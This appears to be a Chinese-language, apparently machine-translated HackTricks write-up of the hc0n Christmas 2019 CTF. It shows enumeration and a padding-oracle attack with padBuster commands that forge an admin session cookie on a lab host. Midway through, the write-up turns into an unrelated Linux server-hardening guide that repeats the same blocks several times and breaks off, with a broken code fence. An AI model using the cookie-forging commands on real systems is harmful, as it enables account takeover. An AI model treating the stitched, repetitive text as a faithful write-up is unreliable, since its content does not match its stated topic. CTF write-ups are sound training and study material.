hacktricks/ctf-write-ups/try-hack-me/hc0n-christmas-ctf-2019.md
2023-08-03 19:12:22 +00:00

18 KiB
Raw Blame History

hc0n圣诞CTF - 2019

☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

枚举

我开始使用我的工具Legion对机器进行枚举:

有2个开放的端口80HTTP和22SSH

在网页中,你可以注册新用户,我注意到cookie的长度取决于用户名的长度

如果你改变cookie的一些字节,你会得到这个错误:

有了这些信息和阅读填充预言漏洞,我能够利用它:

perl ./padBuster.pl http://10.10.231.5/index.php "GVrfxWD0mmxRM0RPLht/oUpybgnBn/Oy" 8 -encoding 0 -cookies "hcon=GVrfxWD0mmxRM0RPLht/oUpybgnBn/Oy"

设置用户为管理员:

$ sudo usermod -aG sudo admin

Create SSH key pair:

$ ssh-keygen -t rsa -b 4096

Add SSH key to authorized keys:

$ cat ~/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys

Change SSH port:

$ sudo nano /etc/ssh/sshd_config

修改以下行:

#Port 22

为:

Port <新端口号>

保存并退出。

Restart SSH service:

$ sudo service ssh restart

Disable root login:

$ sudo nano /etc/ssh/sshd_config

修改以下行:

#PermitRootLogin yes

为:

PermitRootLogin no

保存并退出。

Restart SSH service:

$ sudo service ssh restart

Enable firewall:

$ sudo ufw enable

Allow SSH connections:

$ sudo ufw allow <SSH端口号>

Deny all incoming connections:

$ sudo ufw default deny incoming

Allow all outgoing connections:

$ sudo ufw default allow outgoing

Enable firewall:

$ sudo ufw enable

Check firewall status:

$ sudo ufw status

Install fail2ban:

$ sudo apt-get install fail2ban

Configure fail2ban:

$ sudo nano /etc/fail2ban/jail.local

添加以下内容:

[sshd]
enabled = true
port = <SSH端口号>
filter = sshd
logpath = /var/log/auth.log
maxretry = 3
bantime = 600

保存并退出。

Restart fail2ban service:

$ sudo service fail2ban restart

Install and configure logwatch:

$ sudo apt-get install logwatch

Configure logwatch:

$ sudo nano /etc/cron.daily/00logwatch

修改以下行:

/usr/sbin/logwatch --output mail --mailto root

为:

/usr/sbin/logwatch --output mail --mailto <你的邮箱地址>

保存并退出。

Install and configure rkhunter:

$ sudo apt-get install rkhunter

Update rkhunter database:

$ sudo rkhunter --update

Run rkhunter scan:

$ sudo rkhunter --check

Install and configure lynis:

$ sudo apt-get install lynis

Run lynis audit:

$ sudo lynis audit system

Install and configure chkrootkit:

$ sudo apt-get install chkrootkit

Run chkrootkit scan:

$ sudo chkrootkit

Install and configure clamav:

$ sudo apt-get install clamav

Update clamav database:

$ sudo freshclam

Run clamav scan:

$ sudo clamscan -r /

Install and configure logrotate:

$ sudo apt-get install logrotate

Configure logrotate:

$ sudo nano /etc/logrotate.conf

添加以下内容:

/var/log/auth.log {
    rotate 7
    daily
    missingok
    notifempty
    delaycompress
    compress
    postrotate
        invoke-rc.d rsyslog rotate > /dev/null
    endscript
}

保存并退出。

Install and configure logcheck:

$ sudo apt-get install logcheck

Configure logcheck:

$ sudo nano /etc/logcheck/logcheck.conf

修改以下行:

SENDMAILTO="root"

为:

SENDMAILTO="<你的邮箱地址>"

保存并退出。

Restart logcheck service:

$ sudo service logcheck restart

Install and configure aide:

$ sudo apt-get install aide

Initialize aide database:

$ sudo aideinit

Run aide check:

$ sudo aidecheck

Install and configure tripwire:

$ sudo apt-get install tripwire

Initialize tripwire database:

$ sudo tripwire --init

Update tripwire database:

$ sudo tripwire --update

Run tripwire check:

$ sudo tripwire --check

Install and configure ossec:

$ sudo apt-get install ossec-hids-server

Configure ossec:

$ sudo nano /var/ossec/etc/ossec.conf

修改以下行:

<email_notification>
    <email_to>ossec@example.com</email_to>
    <smtp_server>smtp.example.com</smtp_server>
</email_notification>

为:

<email_notification>
    <email_to><你的邮箱地址></email_to>
    <smtp_server><你的SMTP服务器地址></smtp_server>
</email_notification>

保存并退出。

Restart ossec service:

$ sudo service ossec restart

Install and configure snort:

$ sudo apt-get install snort

Configure snort:

$ sudo nano /etc/snort/snort.conf

修改以下行:

var HOME_NET any

为:

var HOME_NET <你的网络地址>

保存并退出。

Restart snort service:

$ sudo service snort restart

Install and configure suricata:

$ sudo apt-get install suricata

Configure suricata:

$ sudo nano /etc/suricata/suricata.yaml

修改以下行:

HOME_NET: "[192.168.0.0/16,10.0.0.0/8,172.16.0.0/12]"

为:

HOME_NET: "[<你的网络地址>]"

保存并退出。

Restart suricata service:

$ sudo service suricata restart

Install and configure bro:

$ sudo apt-get install bro

Configure bro:

$ sudo nano /usr/local/bro/etc/node.cfg

修改以下行:

interface=eth0

为:

interface=<你的网络接口>

保存并退出。

Restart bro service:

$ sudo service bro restart

Install and configure wazuh:

$ sudo apt-get install wazuh-manager

Configure wazuh:

$ sudo nano /var/ossec/etc/ossec.conf

修改以下行:

<email_notification>
    <email_to>ossec@example.com</email_to>
    <smtp_server>smtp.example.com</smtp_server>
</email_notification>

为:

<email_notification>
    <email_to><你的邮箱地址></email_to>
    <smtp_server><你的SMTP服务器地址></smtp_server>
</email_notification>

保存并退出。

Restart wazuh service:

$ sudo service wazuh-manager restart

Install and configure modsecurity:

$ sudo apt-get install libapache2-modsecurity

Configure modsecurity:

$ sudo nano /etc/modsecurity/modsecurity.conf

修改以下行:

SecRuleEngine DetectionOnly

为:

SecRuleEngine On

保存并退出。

Restart Apache service:

$ sudo service apache2 restart

Install and configure fail2ban:

$ sudo apt-get install fail2ban

Configure fail2ban:

$ sudo nano /etc/fail2ban/jail.local

添加以下内容:

[apache]
enabled = true
port = http,https
filter = apache-auth
logpath = /var/log/apache2/*error.log
maxretry = 3
bantime = 600

保存并退出。

Restart fail2ban service:

$ sudo service fail2ban restart

Install and configure logrotate:

$ sudo apt-get install logrotate

Configure logrotate:

$ sudo nano /etc/logrotate.d/apache2

添加以下内容:

/var/log/apache2/*.log {
    weekly
    missingok
    rotate 52
    compress
    delaycompress
    notifempty
    create 640 root adm
    sharedscripts
    postrotate
        if /etc/init.d/apache2 status > /dev/null ; then \
            /etc/init.d/apache2 reload > /dev/null; \
        fi;
    endscript
}

保存并退出。

Install and configure lynis:

$ sudo apt-get install lynis

Run lynis audit:

$ sudo lynis audit system

Install and configure chkrootkit:

$ sudo apt-get install chkrootkit

Run chkrootkit scan:

$ sudo chkrootkit

Install and configure clamav:

$ sudo apt-get install clamav

Update clamav database:

$ sudo freshclam

Run clamav scan:

$ sudo clamscan -r /

Install and configure logwatch:

$ sudo apt-get install logwatch

Configure logwatch:

$ sudo nano /etc/cron.daily/00logwatch

修改以下行:

/usr/sbin/logwatch --output mail --mailto root

为:

/usr/sbin/logwatch --output mail --mailto <你的邮箱地址>

保存并退出。

Install and configure rkhunter:

$ sudo apt-get install rkhunter

Update rkhunter database:

$ sudo rkhunter --update

Run rkhunter scan:

$ sudo rkhunter --check

Install and configure ossec:

$ sudo apt-get install ossec-hids-server

Configure ossec:

$ sudo nano /var/ossec/etc/ossec.conf

修改以下行:

<email_notification>
    <email_to>ossec@example.com</email_to>
    <smtp_server>smtp.example.com</smtp_server>
</email_notification>

为:

<email_notification>
    <email_to><你的邮箱地址></email_to>
    <smtp_server><你的SMTP服务器地址></smtp_server>
</email_notification>

保存并退出。

Restart ossec service:

$ sudo service ossec restart

Install and configure snort:

$ sudo apt-get install snort

Configure snort:

$ sudo nano /etc/snort/snort.conf

修改以下行:

var HOME_NET any

为:

var HOME_NET <你的网络地址>

保存并退出。

Restart snort service:

$ sudo service snort restart

Install and configure suricata:

$ sudo apt-get install suricata

Configure suricata:

$ sudo nano /etc/suricata/suricata.yaml

修改以下行:

HOME_NET: "[192.168.0.0/16,10.0.0.0/8,172.16.0.0/12]"

为:

HOME_NET: "[<你的网络地址>]"

保存并退出。

Restart suricata service:

$ sudo service suricata restart

Install and configure bro:

$ sudo apt-get install bro

Configure bro:

$ sudo nano /usr/local/bro/etc/node.cfg

修改以下行:

interface=eth0

为:

interface=<你的网络接口>

保存并退出。

Restart bro service:

$ sudo service bro restart

Install and configure wazuh:

$ sudo apt-get install wazuh-manager

Configure wazuh:

$ sudo nano /var/ossec/etc/ossec.conf

修改以下行:

<email_notification>
    <email_to>ossec@example.com</email_to>
    <smtp_server>smtp.example.com</smtp_server>
</email_notification>

为:

<email_notification>
    <email_to><你的邮箱地址></email_to>
    <smtp_server><你的SMTP服务器地址></smtp_server>
</email_notification>

保存并退出。

Restart wazuh service:

$ sudo service wazuh-manager restart

Install and configure modsecurity:

$ sudo apt-get install libapache2-modsecurity

Configure modsecurity:

$ sudo nano /etc/modsecurity/modsecurity.conf

修改以下行:

SecRuleEngine DetectionOnly

为:

SecRuleEngine On

保存并退出。

Restart Apache service:

$ sudo service apache2 restart

Install and configure fail2ban:

$ sudo apt-get install fail2ban

Configure fail2ban:

$ sudo nano /etc/fail2ban/jail.local

添加以下内容:

[apache]
enabled = true
port = http,https
filter = apache-auth
logpath = /var/log/apache2/*error.log
maxretry = 3
bantime = 600

保存并退出。

Restart fail2ban service:

$ sudo service fail2ban restart

Install and configure logrotate:

$ sudo apt-get install logrotate

Configure logrotate:

$ sudo nano /etc/logrotate.d/apache2

添加以下内容:

/var/log/apache2/*.log {
    weekly
    missingok
    rotate 52
    compress
    delaycompress
    notifempty
    create 640 root adm
    sharedscripts
    postrotate
        if /etc/init.d/apache2 status > /dev/null ; then \
            /etc/init.d/apache2 reload > /dev/null; \
        fi;
    endscript
}

保存并退出。

Install and configure lynis:

$ sudo apt-get install lynis

Run lynis audit:

$ sudo lynis audit system

Install and configure chkrootkit:

$ sudo apt-get install chkrootkit

Run chkrootkit scan:

$ sudo chkrootkit

Install and configure clamav:

$ sudo apt-get install clamav

Update clamav database:

$ sudo freshclam

Run clamav scan:

$ sudo clamscan -r /

Install and configure logwatch:

$ sudo apt-get install logwatch

Configure logwatch:

$ sudo nano /etc/cron.daily/00logwatch

修改以下行:

/usr/sbin/logwatch --output mail --mailto root

为:

/usr/sbin/logwatch --output mail --mailto <你的邮箱地址>

保存并退出。

Install and configure rkhunter:

$ sudo apt-get install rkhunter

Update rkhunter database:

$ sudo rkhunter --update

Run rkhunter scan:

$ sudo rkhunter --check

Install and configure ossec:

$ sudo apt-get install ossec-hids-server

Configure ossec:

$ sudo nano /var/ossec/etc/ossec.conf

修改以下行:

<email_notification>
    <email_to>ossec@example.com</email_to>
    <smtp_server>smtp.example.com</smtp_server>
</email_notification>

为:

<email_notification>
    <email_to><你的邮箱地址></email_to>
    <smtp_server><你的SMTP服务器地址></smtp_server>
</email_notification>

保存并退出。

Restart ossec service:

$ sudo service ossec restart

Install and configure snort:

$ sudo apt-get install snort

Configure snort:

$ sudo nano /etc/snort/snort.conf

修改以下行:

var HOME_NET any

为:

var HOME_NET <你的网络地址>
``
```bash
perl ./padBuster.pl http://10.10.231.5/index.php "GVrfxWD0mmxRM0RPLht/oUpybgnBn/Oy" 8 -encoding 0 -cookies "hcon=GVrfxWD0mmxRM0RPLht/oUpybgnBn/Oy" -plaintext "user=admin"

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥